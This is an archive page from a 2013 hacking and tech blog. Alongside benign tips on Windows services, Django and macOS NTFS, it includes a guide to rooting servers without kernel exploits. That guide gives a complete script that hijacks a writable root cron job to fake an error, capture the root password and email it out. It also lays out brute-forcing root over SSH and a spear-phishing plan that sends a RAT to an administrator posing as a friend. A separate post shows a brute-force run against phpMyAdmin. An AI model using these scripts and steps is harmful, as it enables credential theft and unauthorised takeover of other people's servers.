jueves, 3 de octubre de 2013
[How to] Query all windows services config from the command line
Windows < Windows 7
for /f "tokens=5 delims=\" %A in ('reg query HKLM\SYSTEM\CurrentControlSet\Services') do sc qc %A
Windows > Windows 7 box or otherwise have the option to use WMI you can use the following command:
wmic service get pathname
Source
domingo, 1 de septiembre de 2013
Create models.py from existing database
Ever wanted to use an old, existing, legacy database with a Django Project? That’s totally possible!
Django allows you to create a models.py file based on an existing database. To do this, you first have to make sure your database settings are properly specified in the settings.py file. Here’s an example of what the database settings in your settings.py file should look like:
DATABASE_ENGINE = ‘mysql’ # ‘postgresql_psycopg2′, ‘postgresql’, ‘mysql’, ’sqlite3′ or ‘oracle’.
DATABASE_NAME = ‘YourDataBaseName’ # Or path to database file if using sqlite3.
DATABASE_USER = ‘YourDataBaseUser’ # Not used with sqlite3.
DATABASE_PASSWORD = ’YourVerySecretPassword’ # Not used with sqlite3.
DATABASE_HOST = ” # Set to empty string for localhost. Not used with sqlite3.
DATABASE_PORT = ” # Set to empty string for default. Not used with sqlite3.
Then, from the command line, type:
python mysite/manage.py inspectdb > mysite/myapp/models.py
That should be all! Django created a models.py for you, based on the contents of the existing database.
Source: djangodays.com
jueves, 22 de agosto de 2013
Enable NTFS Write on Mac Os X
Macs can mount NTFS drives but they can not be written on without enabling it by default. This is problematic if you have a external hard drive with all your media and you can't store downloads, music or pictures on it. We can format it to Mac OS X Journaled but that breaks compatibility with Windows. From 10.8.3 onwards Mac OS X can enable write permissions but you have to enable it.
The first thing you should do is delete any 3rd Party NTFS software such as OSXFuse, Paragon NTFS for Mac, Tuxera or NTFS-3G.
Open up terminal and type
sudo vifs
The first thing you should do is delete any 3rd Party NTFS software such as OSXFuse, Paragon NTFS for Mac, Tuxera or NTFS-3G.
Open up terminal and type
sudo vifs
- Click i and add to the first line
LABEL=”VOLUME_NAME_WITHOUT_QUOTES” none ntfs rw,auto,nobrowse
- If you are not sure of the drive name use Disk Utility and if there is a space between a drive name like MEDIA DRIVE be sure to put the underscore like MEDIA_DRIVE
- After you are done click Esc and type :wq (Thanks TCB13)
- Now unmount and remount your drive using Disk Utility so changes can take effect
- You will not be able to see your NTFS drives in Finder, the Finder sidebar or on your desktop you will have to type the following:
open /Volumes/THE_NAME_OF_YOUR_VOLUME
Based on post: xiaopan.co
sábado, 6 de julio de 2013
Rooting a Server without any Public Local Root Kernel Exploits!
Hello to Everyone!
As I told to another Comment of a Post I made, and because a Visitor of this Blog requested it, I will share with you some Methods on How to Root a Server when there isn’t any Local Root Kernel Exploit available!
1 – Looking for Custom Cron Tab Scripts
Cron Jobs are some Tasks that are set to be Executed at a specific time. If the Root user has created a Custom Script used by Cron, and we can Write on this File, we can send a “Fake” Error Message and the Root user will probably type in his password.
First, check out if there are any Cron Job Tasks:
crontab -l
If you see any Custom Script, we must Check out if we can Write on it.
Let’s say we got a Custom script here: /bin/cronscript
To check if we can Write a File, type:
stat /bin/cronscript
(If you get something like: “-rwxrwxrwx” in the output, you can edit the File!)
Let’s edit the file and send a Fake Error Message.
Make a Copy of the Original Script to /bin/cronscript.bak:
cp /bin/cronscript /bin/cronscript.bak
Edit the /bin/cronscript like this:
#!/bin/sh
echo “An System Error Occured!”
echo “”
echo “Error Code: #131425″
echo “”
echo “Update to get the Latest Patch for this Security Issue.”
read -s -p “[sudo] password for root ” rootpasswd
echo “”
echo “su: Authentication failure”
echo “”
sudo apt-get update && sudo apt-get upgrade
sudo echo “The Password is: $rootpasswd” > .kod
mail -s “Root’s Password” “email@address.com” < .kod
rm .kod
mv cronscript.bak cronscript
You should just Replace the Underlined with your E-Mail and the Name of the Script!
After you save the File, type: chmod +x cronscript to set it as Executable!
This script will:
- Send a Fake Error Message
- Request for the Root’s Password
- Send to your E-Mail Address the Password (make sure that there is the “mail” command at the /bin)
- Restore the Original File
When the Script gets Executed, the Root User will Enter his Password and it will be send to you!
It would be better if you had some knowledge on Bash Programming…
2 – Enumerating all SUID Files
An SUID File is any file that any User group has the Priviliges to Access, Read and Write on it.
What does this mean for you: You can Escalate Priviliges in this way, if it is in an Important Directory.
As before, you can Social-Engineer a Privileged User.
To find all SUID Files, type:
find / -user root -perm -4000 -print
This will show all the SUID Files to your Terminal. Take your time and check them as they can help you to escalate Priviliges!
3 – Private Local Root Exploits
You can find Private Local (or Remote but it is far less common) Root Exploits by searching Google!
I have found Three (!) Private Local Root Exploits on some Kernel Versions I needed.
So, Search search search!
4 – Bruteforcing Passwords
You can also try to Bruteforce the Password of the Root user or other Priviliged Users!
Use the script named “rootdabitch“!
It runs on the Background and sends you the Password if it is Found!
Here is the Website of the Script….
You can also try to Bruteforce it via SSH! If you scan it with NMap and Find an SSH Port Open (Usually 22), you can Use Hydra to Crack the Password and gain Root Access via SSH!
Here is a Video on how to Bruteforce Passwords with Hydra over SSH:
5 – Social-Engineering the Administrator
This method doesn’t Depend on any Hacking Skills but to your Social-Engineering skills and Research Methods!
You can find so many great Books on Social-Engineering on Google. Search!
Follow these Steps:
1. Search on Google, Facebook,Twitter for Friends of the Administrator
2. Find Personal Information about the Admin (Names, Family, Work Location etc…)
3. Find E-Mails, Telephone/Mobile Numbers
4. Create a JavaDriveBy or a RAT
5. Send a Fake-Mail using a Fake-Mailer as a Friend of the Server’s Administrator including an Infected File (with your RAT)
6. The Admin should open the File and you get Root Priviliges!
Example Message:
Hello Bob!
How are you? I just found out something awesome you will surely like!
It is a surprize! It is attached on a PDF File!
Check it out!
See ya!
Bob is the Victim (the Server’s Administrator). Thus, you have to Pretend to be his Friend. You need to research and Find a Close Friend and His E-Mail address so that it doesn’t seem as an Attack!
Summing that Up, These are the Steps you should follow:
- Search for a Public Local Root Kernel Exploit. Here is my own Database: p0sth4x0r.net46.net/
- If you don’t find the Appropriate Exploit, try searching Google for Private Local/Remote Root Kernel Exploits.
- If you don’t find something again, try finding all SUID Files and Writeable Cron Tab Scripts that you can Exploit.
- If you aren’t satisfied with the Result, try to Brute-Force User or Root Passwords with Hydra or rootdabitch.
As you can see, you need to have Imagination, good Research Techniques, Programming Knowledge is Preffered, Unix Knowledge and Social-Engineering! Learn even the most basics of all these, and you will know how to Root Servers in Minutes!
miércoles, 3 de julio de 2013
Exploit development
In this post I just post some useful links for people who just start studding/working with exploits development.
mona.py – the manual <- Higthly recommended tool
First: Exploit Writing Tutorials by corelanc0d3r.
Second: SecurityTube Exploit Research megaprimer.
Third: Heap Overflow: For Humans + Vulnerability and Heap Internals Explained
Fourth: ARM exploitation
Fifth: Many interesting videos related with exploit development
Soon this post will be updated.
mona.py – the manual <- Higthly recommended tool
First: Exploit Writing Tutorials by corelanc0d3r.
- Exploit writing tutorial part 1 : Stack Based Overflows
- Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode
- Exploit writing tutorial part 3 : SEH Based Exploits
- Exploit writing tutorial part 3b : SEH Based Exploits – just another example
- Exploit writing tutorial part 4 : From Exploit to Metasploit – The basics
- Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development
- Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR
- Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc
- Exploit writing tutorial part 8 : Win32 Egg Hunting
- Exploit writing tutorial part 9 : Introduction to Win32 shellcoding
- Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube
- Starting to write Immunity Debugger PyCommands : my cheatsheet
Second: SecurityTube Exploit Research megaprimer.
- Exploit Research Megaprimer Part 1 Topic Introduction By Vivek
- Exploit Research Megaprimer Part 2 Memcpy Buffer Overflow
- Exploit Research Megaprimer Part 3 Strcpy Buffer Overflow
- Exploit Research Megaprimer Part 4 Minishare Buffer Overflow
- Exploit Research Megaprimer Part 5 Freesshd Buffer Overflow
- Exploit Research Megaprimer Part 6 Seh Basics
- Exploit Research Megaprimer Part 7 Overwrite Seh
- Exploit Research Megaprimer Part 8 Exploiting Seh
- Exploit Research Megaprimer Part 9 Guest Lecture By Andrew King
- Binary Diffing Microsoft Patches
Third: Heap Overflow: For Humans + Vulnerability and Heap Internals Explained
Fourth: ARM exploitation
Fifth: Many interesting videos related with exploit development
Soon this post will be updated.
domingo, 23 de junio de 2013
Patator - BruteForcer-ng
Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage and is NOT script-kiddie friendly.
Currently(v0.4) it supports the following modules: * ftp_login : Brute-force FTP * ssh_login : Brute-force SSH * telnet_login : Brute-force Telnet * smtp_login : Brute-force SMTP * smtp_vrfy : Enumerate valid users using the SMTP VRFY command * smtp_rcpt : Enumerate valid users using the SMTP RCPT TO command * finger_lookup : Enumerate valid users using Finger * http_fuzz : Brute-force HTTP/HTTPS * pop_login : Brute-force POP * pop_passd : Brute-force poppassd (not POP3) * imap_login : Brute-force IMAP * ldap_login : Brute-force LDAP * smb_login : Brute-force SMB * smb_lookupsid : Brute-force SMB SID-lookup * vmauthd_login : Brute-force VMware Authentication Daemon * mssql_login : Brute-force MSSQL * oracle_login : Brute-force Oracle * mysql_login : Brute-force MySQL * mysql_query : Brute-force MySQL queries * pgsql_login : Brute-force PostgreSQL * vnc_login : Brute-force VNC * dns_forward : Brute-force DNS * dns_reverse : Brute-force DNS (reverse lookup subnets) * snmp_login : Brute-force SNMPv1/2 and SNMPv3 * unzip_pass : Brute-force the password of encrypted ZIP files * keystore_pass : Brute-force the password of Java keystore files
Usage example:
- HTTP : Brute-force phpMyAdmin logon
$ http_fuzz url=http://10.0.0.1/phpmyadmin/index.php method=POST body='pma_username=COMBO00 &pma_password=COMBO01&server=1&lang=en' 0=combos.txt follow=1 accept_cookie=1 -x ignore:fgrep='Cannot log in to the MySQL server' -l /tmp/qsdf
10:55:50 patator INFO - Starting Patator v0.4 (http://code.google.com/p/patator/) at 2012-06-29 10:55 EST 10:55:50 patator INFO - --------------------------------------------------------------- 10:55:50 patator INFO - code & size | candidate | num | mesg .. 10:55:50 patator INFO - --------------------------------------------------------------- 10:55:50 patator INFO - 200 8209:7075 | root: | 22 | HTTP/1.1 200 OK 10:55:51 patator INFO - 200 3838:2566 | root:p@ssw0rd | 44 | HTTP/1.1 200 OK ^C 10:55:52 patator INFO - Hits/Done/Size/Fail: 2/125/2342/0, Avg: 47 r/s, Time: 0h 0m 2s 10:55:52 patator INFO - To resume execution, pass --resume 12,13,12,13,12,12,13,13,13,12Payload #22 was a false positive:
$ cat /tmp/qsdf/22_200_8209\:7075.txt ... <div class="error">Login without a password is forbidden by configuration (see AllowNoPassword)</div>
Download/Source: patator
miércoles, 19 de junio de 2013
The Big Fat Metasploit Post
A while ago we tried to identify a core toolset that every pentester should start with or couldn’t live without. The first article focused on Nmap, The second on our list is none other than the exploit framework Metasploit. Instead of reinventing the wheel with Metasploit guides we decided to take all the disparate info on using Metasploit and put it into one place, starting from the basics all the way to advanced testing.
Suscribirse a:
Entradas (Atom)